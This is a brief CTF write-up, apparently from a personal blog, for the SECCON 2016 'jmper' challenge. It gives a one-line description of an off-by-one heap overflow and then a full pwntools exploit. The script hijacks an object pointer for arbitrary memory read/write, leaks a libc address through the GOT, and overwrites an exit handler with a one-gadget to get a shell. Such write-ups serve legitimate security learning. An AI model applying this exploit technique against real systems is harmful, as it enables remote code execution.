Games/CTF

SECCON 2016 jumper

daehee87 2016. 12. 11. 20:51

요약: 1바이트 힙오버. 힙객체속에 R/W 용 포인터의 하위 1바이트를 덮을수있어서, 그거로 추가적으로 포인터 더 덮고 조작하면 결국 모든메모리 읽고쓰기가능.

summary: off-by-one heap overflow in memo.  can hijack R/W pointer. full memory read/write is possible.



from pwn import *

context.arch = 'amd64' # i386 / arm


# recvuntil sendline, pack, recv, send

r = remote('jmper.pwn.seccon.jp', 5656)

#r = process(['./jmper_patch'])

raw_input('attach')

# start pwn.


#[id 8][name 0x20][memo pointer 8 (memo is 0x20)]

print r.recvuntil('6. Bye :)')


def adduser():

    global r

    print r.sendline('1')

    print r.recvuntil('6. Bye :)')


def name_student(id, name):

    global r

    r.sendline('2')

    print r.recvuntil('ID:')

    r.sendline(id)

    print r.recvuntil('name:')

    r.send(name)

    print r.recvuntil('6. Bye :)')


def memo_student(id, memo):

    global r

    r.sendline('3')

    print r.recvuntil('ID:')

    r.sendline(id)

    print r.recvuntil('memo:')

    r.send(memo)

    print r.recvuntil('6. Bye :)')

    


for i in xrange(9):

    adduser()


# 8's name is pointing 7 object.

memo_student('8', '\x00'*33)


def set_pointer(ptr):

    payload = 'A'*24

    payload += pack(ptr)     # we hijack 7's name pointer!

    payload += '\n'

    name_student('8', payload)


def mem_read(addr):

    global r

    set_pointer(addr)

    r.sendline('4')

    print r.recvuntil('ID:')

    r.sendline('7')

    sleep(.1)

    leak = int(r.recv(8)[:6][::-1].encode('hex'), 16)

    print r.recvuntil('6. Bye :)')

    return leak


def mem_write(addr, data):

    global r

    set_pointer(addr)

    name_student('7', data + '\n')

    

exit_got = mem_read(0x601ff0)

libc_base = exit_got - 0x3c1e0

at_exit = exit_got + 0x381e58

print hex(exit_got)

print hex(libc_base)

print hex(at_exit)


magic_system = libc_base + 0x4647c

mem_write(at_exit, pack(magic_system))


r.sendline('6')

# get shell?

r.interactive()